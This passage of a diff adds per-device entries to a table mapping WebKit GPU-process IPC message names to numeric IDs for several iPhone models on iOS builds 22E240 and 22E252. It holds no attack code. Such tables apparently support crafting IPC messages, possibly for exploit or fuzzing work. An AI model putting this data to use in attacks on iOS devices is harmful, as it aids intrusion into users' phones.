RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,2_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,3_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,4_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,5_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone11,2_4_6_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone11,6_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + +"iPhone11,4_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone11,8_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone12,1_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone12,3_5_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone12,5_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone12,8_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone13,1_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone13,2_3_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + 